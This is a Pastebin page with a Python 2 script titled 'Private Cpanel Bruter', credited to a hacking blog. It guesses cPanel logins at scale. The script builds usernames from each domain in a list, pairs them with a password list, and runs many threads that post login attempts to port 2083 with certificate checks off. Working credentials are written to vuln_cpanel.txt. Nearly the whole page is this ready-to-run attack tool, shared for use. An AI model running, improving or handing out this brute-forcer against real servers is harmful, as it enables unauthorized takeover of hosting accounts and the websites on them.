hack2wwworld

Private Linux/Unix/Windows Based Cpanel Bruter 2017 - Python

Aug 1st, 2017
279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.16 KB | None | 0 0
  1. #!/usr/bin/python
  2. #./scan.py 100 domains.txt passwords.txt
  3. #By www.hack2wwworld.blogspot.com
  4. import sys
  5. import Queue
  6. import threading
  7. import tldextract
  8. from ftplib import FTP
  9. import requests
  10. import random
  11. from random import choice
  12. import re
  13. import socket
  14. from threading import Timer
  15. import operator
  16. try:
  17.     requests.packages.urllib3.disable_warnings()
  18. except Exception, e:
  19.     pass
  20.  
  21. def watchdog():
  22.     return False
  23.  
  24. filename_cpanel = "vuln_cpanel.txt"
  25. fisier_vuln_cpanel = open(filename_cpanel,'a')
  26.  
  27.  
  28. class brute(threading.Thread):
  29.     def __init__(self, queue):
  30.         threading.Thread.__init__(self)
  31.         self.queue = queue     
  32.     def run(self):
  33.         while True:
  34.             ip,user,passwd = self.queue.get()
  35.             self.bruter(ip,user,passwd)
  36.             self.queue.task_done()
  37.            
  38.     def bruter(self,ip,user,passwd):
  39.         try:
  40.             if ip in found: return False
  41.  
  42.             url = ip
  43.             if passwd in "%username%":
  44.                 passwd = user
  45.             if passwd in "%user%":
  46.                 passwd = user
  47.                
  48.             print '[?] Trying '+ip+':'+user+':'+passwd 
  49.  
  50.             login_data = {'user' : user, 'pass' : passwd}
  51.             s = requests.session()
  52.             ttt = Timer(20, watchdog)
  53.             ttt.start()
  54.             r1 = s.post('https://'+url+':2083/login/?login_only=1', data=login_data, verify=False, timeout=18)
  55.             ttt.cancel()
  56.             json_login = r1.text
  57.                                            
  58.             sess_login = re.compile("security_token\":\"(.+)\"}")
  59.             sess_login = sess_login.search(json_login)
  60.             sess_login = sess_login.group(1)
  61.             print "\n[+++] Found cPanel : "+url+","+user+","+passwd
  62.            
  63.             found.append(url)
  64.            
  65.             fisier_vuln_cpanel.write("https://"+url+":2083,"+user+","+passwd+"\n")
  66.            
  67.             #clean
  68.             fisier_vuln_cpanel.flush()
  69.             login_data.flush()
  70.             url.flush()
  71.             sess_login.flush()
  72.             r1.flush()
  73.             json_login.flush()
  74.  
  75.                
  76.             return True
  77.         except Exception, e:
  78.             return False
  79.                
  80. def generateusers(ip):
  81.     ext = tldextract.extract("https://"+ip)
  82.  
  83.     subdomeniu = ext[0].replace(".","").replace("-","")
  84.     domeniu = ext[1].replace("-","")
  85.     sufix = ext[2].replace(".","")
  86.  
  87.     lungime_subdomeniu = int(len(subdomeniu))
  88.     lungime_domeniu = int(len(domeniu))
  89.     diferenta_subdomeniu = int(8 - lungime_subdomeniu)
  90.     diferenta_domeniu = int(8 - lungime_domeniu)
  91.  
  92.     #print "lungime domeniu: "+str(lungime_domeniu)+", diferenta domeniu: "+str(diferenta_domeniu)+" lungime subdomeniu: "+str(lungime_subdomeniu)+" diferenta subdomeniu: "+str(diferenta_subdomeniu)
  93.     users = []
  94.    
  95.  
  96.     if(lungime_domeniu >= 8):
  97.         users.append(domeniu[:8])
  98.     else:
  99.         users.append(domeniu)
  100.            
  101.     return users
  102.  
  103.    
  104. def brutemain():
  105.     if len(sys.argv) < 2:
  106.         print "NO ARGS"
  107.         return False
  108.     ThreadNR = int(sys.argv[1])
  109.     queue = Queue.Queue()
  110.     try:
  111.         i = 0
  112.         for i in range(ThreadNR):
  113.             t = brute(queue)
  114.             t.daemon = True
  115.             t.start()
  116.             i += 1
  117.     except Exception, e:
  118.         print '[!] Cant start more than ',i,' threads!\n'
  119.        
  120.     global found
  121.     found = []
  122.        
  123.  
  124.     with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
  125.     with open(str(sys.argv[3]),'rU') as pf: passwords = pf.read().splitlines()
  126.    
  127.    
  128.     stiva = {}
  129.    
  130.     try:
  131.         print "\n[!] Creating url:user:pass combinations, patience please.\n"
  132.         counter = 1
  133.         ips_lungime = len(ips)
  134.         combinatie = dict()
  135.         countery = 0
  136.         for ip in ips:
  137.             ip = ip.lower()
  138.             ip.replace('www.','')
  139.             stiva[ip] = dict()
  140.             counterz = 0
  141.             for user in generateusers(ip):
  142.                 for password in passwords:
  143.                     stiva[ip][counterz] = dict()
  144.                     stiva[ip][counterz] = str(user+","+password)
  145.                     counterz = counterz + 1
  146.                     countery = countery + 1
  147.                    
  148.                        
  149.                        
  150.             print "\n Generating combinations for domain: "+str(counter)+" / "+str(ips_lungime)
  151.             counter = counter+1
  152.        
  153.        
  154.         print "\n[!] Rearranging combinations for better use, patience please.\n"
  155.         for k in range(0,countery):
  156.             for ip in ips:
  157.                 try:
  158.                     #print ip+","+stiva[ip][k]
  159.                     split_string = stiva[ip][k].split(',',2)
  160.                     queue.put((ip,split_string[0],split_string[1]))
  161.                     del stiva[ip][k]
  162.                 except Exception, e:
  163.                     pass
  164.        
  165.         del stiva
  166.         del k
  167.         del ip
  168.         #print "\n[!] Done creating url:user:pass combinations.\n"     
  169.     except Exception, e:
  170.         print "\n[!] Error creating url:user:pass combinations!\n"
  171.  
  172.        
  173.     queue.join()
  174.  
  175. if __name__ == "__main__":
  176.     brutemain()
Add Comment
Please, Sign In to add comment